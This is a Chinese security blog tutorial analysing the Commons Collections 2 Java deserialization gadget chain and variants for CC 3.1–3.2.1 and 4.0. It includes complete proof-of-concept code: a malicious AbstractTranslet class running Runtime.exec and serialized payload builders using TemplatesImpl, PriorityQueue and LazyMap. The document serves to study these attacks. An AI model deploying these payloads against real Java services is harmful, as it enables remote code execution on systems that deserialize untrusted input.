freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CommonsCollections2引发的思考
2022-03-25 15:14:57
所属地 福建省

前言

前面分析了CC1的利用链,在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。然后又分析了CC6的利用链。解决了CC1的高版本JDK利用问题。

传送门

JAVA反序列入门篇-CommonsCollections1分析

JAVA反序列篇-CommonsCollecion6分析

那为什么需要学习CommonsCollections2呢?

  • 学习新的利用方式,竟然CC2是在CC6之前出来的,那肯定有不同的姿势,学习CC2是如何绕过CC1的高版本限制。

  • CommonsCollection2为何在CommonsCollections 3.2.1-3.1版本不能去使用,又如何解决呢?

  • CommonsCollections-4.0版本中,删除了lazyMapdecorate方法,我们又怎么解决呢?

前置知识

①javassist

通常我们需要将.java编译成.class才能正常运行,在命令行中我们通常使用javac来进行编译,利用编译生成的固定格式的字节码(.class) 来供jvm虚拟机进行使用,每一个class文件中都包含着一个java类或一个接口。

javassist就是一个处理字节码的类库,能够动态的修改class中的字节码。在 Javassist 中,类Javaassit.CtClass表示 class 文件。一个 GtClass (编译时类)对象可以处理一个 class 文件。

例子

ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("com.Test1");
cc.setSuperclass(pool.get("com.Test2"));
cc.writeFile();

ClassPool 是一个存储 CtClass 的 Hash 表,类的名称作为 Hash 表的 key。ClassPool 的 get() 函数用于从 Hash 表中查找 key 对应的 CtClass 对象。如果没有找到,get() 函数会创建并返回一个新的 CtClass 对象,这个新对象会保存在 Hash 表中。

  • getDefault()方法返回了默认的类池(默认的类池搜索系统搜索路径,通常包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径)

  • get() 方法来ClassPool中获得一个com.Test1类的CtClass对象的引用,并将其赋值给变量 cc

  • setSuperclass方法将com.Test1的父类被设置为com.Test2

  • writeFile() 方法会将修改后的CtClass对象转换成类文件并写到本地磁盘

对比一下原本和新的class文件:

image

image

再介绍几个方法:

  • makeClass()makeInterface()

//创建名为Evil的类
CtClass test = pool.makeClass("Evil");

//创建名为Evil的接口
CtClass test = pool.makeInterface("Evil");
  • makeClassInitializer()

#创建一个空的类初始化器(静态构造函数)
CtConstructor constructor = test.makeClassInitializer();

②ClassLoader

ClassLoader是Java的类加载器,负责将字节码转化成内存中的Java类,

我们这里可以利用类加载器的defineClass方法来加载我们的字节码。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class CommmonsCollections2 {

    public static void main(String[] args) throws IOException, ClassNotFoundException, CannotCompileException, NotFoundException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchMethodException {

        ClassPool pool = ClassPool.getDefault();
        CtClass test = pool.makeClass("Evil");
        test.setSuperclass(pool.get("Test"));
        test.writeFile("./");
        byte[] bytes = test.toBytecode();
        Class clas = Class.forName("java.lang.ClassLoader");
        Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineclass.setAccessible(true);
        Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
        Test e = (Test) claz.newInstance();
        e.hello();
    }
}
public class Test {

    public static void main(String[] args) {

    }
    public void hello(){
        System.out.println("hello Test");
    }
}

image

注:后面有用

这里需要注意的是,ClassLoader#defineClass返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以我们需要想办法调用返回的类的构造函数才能执行命令。

③TemplatesImpl

TemplatesImpl类中定义了一个内部类defineClass,这个类中对defineClass进行了重写,并且没有显式的对定义域进行声明,可以被外部进行调用。

image

这个类的特别之处就是,在调用他的newTransformer或者getOutputProperties时,会动态从字节码中重建一个类。这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码。

TemplatesImpI类分析

写贴一个半成品链条

TemplatesImpl.newTransformer()
	TemplatesImpl.getTransletInstance()
		TemplatesImpl.defineTransletClasses()
			TransletClassLoader.defineClass()
				TemplatesImpl.getTransletInstance()->_class[_transletIndex].newInstance()
					Runtime.getRuntime().exec("calc.exe")

TemplatesImpl.newTransformer()调用getTransletInstance()

image

跟进getTransletInstance()方法,当_name不为null且_class为null,触发defineTransletClasses()方法。

image

跟进defineTransletClasses()方法,_bytecodes设置为我们要读取的字节码,就是传进去的恶意字节码。也需要设置_tfactory不然就会返回null,无法到达触发点。_tfactoryTransformerFactoryImpl类,所以我们只需要传入new TransformerFactoryImpl()就可以了。

image

image

loader.defineClass将字节码转化成内存中的Java类。然后获取当前_classgetSuperclass()超类,就是恶意字节码的超类。再进行判断这个超类是不是等于ABSTRACT_TRANSLET,如果相等执行if里面的_transletIndex赋值操作。

image

查看下ABSTRACT_TRANSLET可以看到指向的是AbstractTranslet类,所以我们的恶意类也要继承AbstractTranslet类。

image

构造恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil  extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

测试POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CommmonsCollections2 {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {

        TemplatesImpl templates=new TemplatesImpl();
        //获取TemplatesImpl的Class
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //加载恶意类
        byte[] code = Files.readAllBytes(Paths.get("D:\\test\\CommonsCollections2\\out\\production\\CommonsCollections2\\Evil.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //调用
        templates.newTransformer();
    }
}

成功弹出计算器

image

漏洞执行点,TemplatesImpl.getTransletInstance()->_class[_transletIndex].newInstance()初始化恶意类,执行恶意代码。

image

Gadget链条分析

Gadget chain:
	PriorityQueue.readObject()
		PriorityQueue.heapify()
			PriorityQueue.siftDown()
				TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								TemplatesImpl.newTransformer()
                                    TemplatesImpl.getTransletInstance()
                                        TemplatesImpl.defineTransletClasses()
                                            TransletClassLoader.defineClass()
                                                newInstance()
                                                    Runtime.getRuntime().exec("calc.exe")

上面我们已经分析了后半部分链条,现在分析下如何触发TemplatesImpl.newTransformer(),利用到一个新的类TransformingComparator,看下构造方法和触发的方法。

TransformingComparator类和ChainedTransformer类相似,都是通过触发this.xxx.transform()方法去触发,InvokerTransformer.transform()方法,然后执行TemplatesImpl.newTransformer()完成链条的利用。

image

下一步继续往前推,如何触发TransformingComparator.compare()方法。

PriorityQueue类

优先队列PriorityQueueQueue接口的实现,可以对其中元素进行排序。此类重写了readObject方法,跟进下。

对传入的ObjectInputStream进行反序列化然后赋值给queue数组,然后heapify()进行排序。

image

跟进heapify()方法,调用siftDown()方法,queue[i]是我们可控的。

image

跟进siftDown()方法,comparator不为null,调用siftDownUsingComparator()方法。

image

跟进siftDownUsingComparator()方法,调用了comparator.compare()方法, 同时x可控,我们利用反射设置comparatorTransformingComparator类就行。

image

最终POC代码

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommmonsCollections2 {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {

        TemplatesImpl templates=new TemplatesImpl();
        //获取TemplatesImpl的Class
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //加载恶意类
        byte[] code = Files.readAllBytes(Paths.get("D:\\test\\CommonsCollections2\\out\\production\\CommonsCollections2\\Evil.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        //长度是2才能满足条件
        PriorityQueue queue = new PriorityQueue();
        queue.add(1);
        queue.add(2);
        //修改comparator属性
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformingComparator);
        //序列化
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./cc2.ser"));
        objectOutputStream.writeObject(queue);
        objectOutputStream.close();
        //反序列化
        ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream("./cc2.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

image

问题解答

CommonsCollections-4.0版本中,删除了lazyMapdecorate方法,我们怎么解决呢?

环境

CommonsColections 4.0
JDk8u_101

虽然在4版本中删除了decorate方法,但还有另外一个构造方法LazyMap,可以直接让传进的Transformer赋值给this.factory

image

Gadget链条

Gadget chain:
    ObjectInputStream.readObject()
        HashMap.readObject()
            HashMap.hash()
                TiedMapEntry.hashCode()
                    TiedMapEntry.getValue()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        TemplatesImpl.newTransformer()
                                            TemplatesImpl.getTransletInstance()
                                                TemplatesImpl.defineTransletClasses()
                                                    TransletClassLoader.defineClass()
                                                        newInstance()
                                                            Runtime.getRuntime().exec("calc.exe")

最终POC代码

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;


import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommmonsCollections2 {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {

        TemplatesImpl templates=new TemplatesImpl();
        //获取TemplatesImpl的Class
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //加载恶意类
        byte[] code = Files.readAllBytes(Paths.get("D:\\test\\CommonsCollections2\\out\\production\\CommonsCollections2\\Evil.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),

        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();

        Class clazz = LazyMap.class;
        Constructor construct =  clazz.getDeclaredConstructor(Map.class, Transformer.class);
        construct.setAccessible(true);
        Map outerMap = (Map) construct.newInstance(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "eas1");
        Map expMap = new HashMap();
        expMap.put(tme, "eas2");
        outerMap.remove("eas1");
        //把真正的transformers数组换回来
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        //序列化
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./test.ser"));
        objectOutputStream.writeObject(expMap);
        objectOutputStream.close();
        //反序列化
        ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream("./test.ser"));
        objectInputStream.readObject();
        objectInputStream.close();

    }
}

image

image

CommonsCollection2为何在CommonsCollections3.1-3.2.1版本不能去使用,又如何解决呢?

环境

CommonsCollections 3.1
JDK8u_101

因为在3.1-3.2.1版本中TransformingComparator没有实现Serializable接口,所以就没法被序列化/反序列化。

image

解决

利用LazyMap.get()方法触发InvokerTransformer.transform(),其实还是URLDNS+CC1+CC2拼接来的。

Gadget链条

Gadget chain:
    ObjectInputStream.readObject()
        HashMap.readObject()
            HashMap.hash()
                TiedMapEntry.hashCode()
                    TiedMapEntry.getValue()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        TemplatesImpl.newTransformer()
                                            TemplatesImpl.getTransletInstance()
                                                TemplatesImpl.defineTransletClasses()
                                                    TransletClassLoader.defineClass()
                                                        newInstance()
                                                            Runtime.getRuntime().exec("calc.exe")

最终POC代码

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommmonsCollections2 {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {

        TemplatesImpl templates=new TemplatesImpl();
        //获取TemplatesImpl的Class
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //加载恶意类
        byte[] code = Files.readAllBytes(Paths.get("D:\\test\\CommonsCollections2\\out\\production\\CommonsCollections2\\Evil.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //调用
        //templates.newTransformer();


        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),

        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "eas1");
        Map expMap = new HashMap();
        expMap.put(tme, "eas2");
        outerMap.remove("eas1");
        //把真正的transformers数组换回来
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        //序列化
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./test.ser"));
        objectOutputStream.writeObject(expMap);
        objectOutputStream.close();
        //反序列化
        ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream("./test.ser"));
        objectInputStream.readObject();
        objectInputStream.close();

    }
}

image

image

总结

很多链条单独使用往往局限性都很高,但是几条链条互相弥补对方的不足之处就会重新变成一条通用性很高的链条。学完一条链条后,应该多思考思考链条与链条之间的关系,让其发挥更大的作用。没有什么垃圾的利用链,每一条利用链存在都一定有它的作用。一条利用链能发挥多大的作用就看使用他的人如何了。

URLDNS、CC1、CC2、CC6,当这4条链分开使用,每一条都有其局限限。要么JDK版本限制,要么CommonsCollections版本限制,当把它们组合在一起,所有问题都迎刃而解了。

以上是作者自己的见解,有错之处望大家指点。

参考文章

Java反序列化-CommonsCollections2分析

Javassist 使用指南(一)

CommonsCollections2分析

# web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录